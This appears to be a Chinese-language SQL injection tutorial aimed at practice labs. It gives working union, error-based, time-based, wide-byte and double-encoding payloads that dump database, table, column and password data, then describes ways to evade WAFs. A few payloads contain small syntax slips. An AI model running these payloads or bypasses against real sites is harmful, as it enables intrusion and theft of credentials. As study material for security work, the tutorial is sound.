一、SQL注入:SQL注入就是是一種将SQL語句插入或添加到應用(使用者)的輸入
參數中的攻擊,之後再将這些參數傳遞給背景的SQL伺服器加以解析并執行。
最終使使用者可控的輸入被帶入到了資料庫中進行執行。
1.1存在SQL注入的地方大緻有:
l Get
l Post
l Cookie
l http頭部
1.2 SQL注入的基本類型
l Union聯合查詢注入
l 基于報錯注入(extractvalue(arg1,arg2),updatexml,floor)
l 基于布爾類型注入
l 基于時間的注入 -- sleep(arg1), benchmark(arg1,arg2)
l 寬位元組注入,二次編碼注入 (%df%23, %2527)、
分類介紹:
1.2.1 Union聯合查詢注入:需要的條件
1.union必須由兩條或兩條以上的SELECT語句組成
2.union中的每個查詢必須包含相同的列
3.union會從查詢結果集中自動去除了重複行。
4.union注入使用的前提是頁面要有顯示位。這個也是一個union的缺點或者說是限制。
Union聯合查詢注入大緻步驟:
1. 判斷列數 -- 通過 order by n;
2. 判斷顯示位 -- id =-1 union select 1,2,3...........
3. 爆庫
id=-1'UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--
4. 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--
小計:資料庫名稱可以用十六進制來代替字元串,這樣可以繞過單引号的限制,也可以直接從資料庫查詢的語句取出來表的名
5. 暴字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--
6. 暴資料
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--
1.2.2 報錯注入
1.報錯注入就是構造讓資訊通過錯誤提示回顯出來,
前提:頁面上沒有顯示位,但是需要執行SQl語句輸出錯誤資訊
1.1通過extractvalue(arg1,arg2)報錯
通過updateXML(arg1,arg2,arg3)報錯
通過floor(arg1)報錯
1.2 步驟 :
1. 查詢資料庫名字
1’ and extractvalue(1,concat(0x74,(select database()),0x7e#
2. 檢視資料庫有哪些表
1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#
3,檢視表右哪些列名
1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e))#
4,最後檢視資料
1’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#
1.2.3 基于布爾類型的注入
頁面上不需要顯示位,也沒有輸出錯誤資訊,隻能通過頁面傳回是否正常
exists( )函數:
exists 用于檢查子查詢是否隻要會傳回一行資料,該子查詢實際上并不傳回任何資料,而是傳回True或False
ascii( )函數:
傳回字元串str的最左面字元的ASCII代碼值。如果str是空字元串,傳回0。
查尋步驟同上面的一樣,隻不過需要擷取結果的ascii值。來進行查詢字元
1.2.4 時間注入
原理:正确的sql語句和錯誤的sql語句傳回的時間不一樣,依此來判斷查詢結果的正确性,但是要耗費大量時間。
Sleep(arg) arg中斷的時間,
Select if(1=1,sleep( 5),0),結果頁面延遲5秒顯示,如果判斷錯誤,則直接顯示0,不進行等待5秒,
例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);
// 表示目前庫的第二個表名的第一個字元的ascii碼值大于150,就延遲3秒傳回結果,若小于150 ,直接傳回結果,不執行sleep()函數;
1.2.5寬位元組注入 && 二次編碼注入
1.寬位元組注入主要是編碼轉換的問題的注入
2.當送出id=1’ and 1=1%23後,引号會被轉義為1\’,顯然這是失敗的注入,。因為單引号被轉義導緻沒有閉合前面的單引号。但是我們在送出id=1%df’ and 1%23 後,單引号會轉義成\’--%5c和前面的%df結合通過gbk編碼得到一個漢字,這時後面的單引号會閉合前面的單引号,形成完整的sql查詢語句,
例如:
http://192.168.31.133/shiyan/kzj.php?id=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23
// 表示的是根據表名,把對應表下面的列字段全部根據錯誤注入的傳回暴出。
二次編碼:形如id=2%2527, 先把%25編碼為%和後面的27結合為%27 ,就是單引号。
二、繞過WAF注入
1.什麼是waf
WAF全稱Web Application Firewall,是部署在web伺服器前面保護網站應用抵禦來自外部和内部的攻擊。通俗點講就是網頁伺服器的專門保镖
2.WAF分類
1硬體waf ->伺服器 性能更加強大,裡面的核心原理還是規則比對,
2雲waf -> 百度加速樂,域名解析權限給雲。
3代碼waf -> ModSecurity
4軟體WAF -> 安全狗
3. waf三個基本步驟: 身份認證 資料包解析 規則比對。
4. Waf的檢測主要有三個階段:
1. 首先進行身份驗證,白名單的直接給伺服器,廢白名單的要去進行資料包的解析,
2. 無法解析資料包的将丢棄給伺服器處理,正常解析的去進行規則判斷。
3. 符合規則的給伺服器,不符合規則的将進行攔截。
5. 怎麼繞過waf
1.身份認證的繞過
WAF是有一個白名單的,在白名單内的客戶請求将不做檢測
1.1僞造搜尋引擎
早些版本的安全狗是有這個漏洞的,就是把User-Agent修改為搜尋引擎便可以繞過,進行sql注入等攻擊
1.2僞造白名單特殊目錄
1.3直接攻擊源站
這個方法的原理通過DNS解析到雲WAF,通路網站的流量要經過指定的DNS伺服器解析,然後進入WAF節點進行過濾,最後通路原始伺服器,如果能通過一些手段找到原始的伺服器位址,便可以繞過.
2.資料包解析的繞過
2.1編碼繞過
進行urlencode
2.2修改請求方式繞過
有時候WAF對GET進行了過濾,但是Cookie甚至POST參數卻沒有檢測。
WAF在這裡主要是針對一些特殊的關鍵詞或者用法進行檢測。可以用cookie中轉注入。
3.規則比對的繞過
3.1特殊字元替換空格
3.2特殊字元拼接
把特殊字元拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋來繞過,
3)注釋包含關鍵字
在mysql中,可以利用包含關鍵詞進行繞過。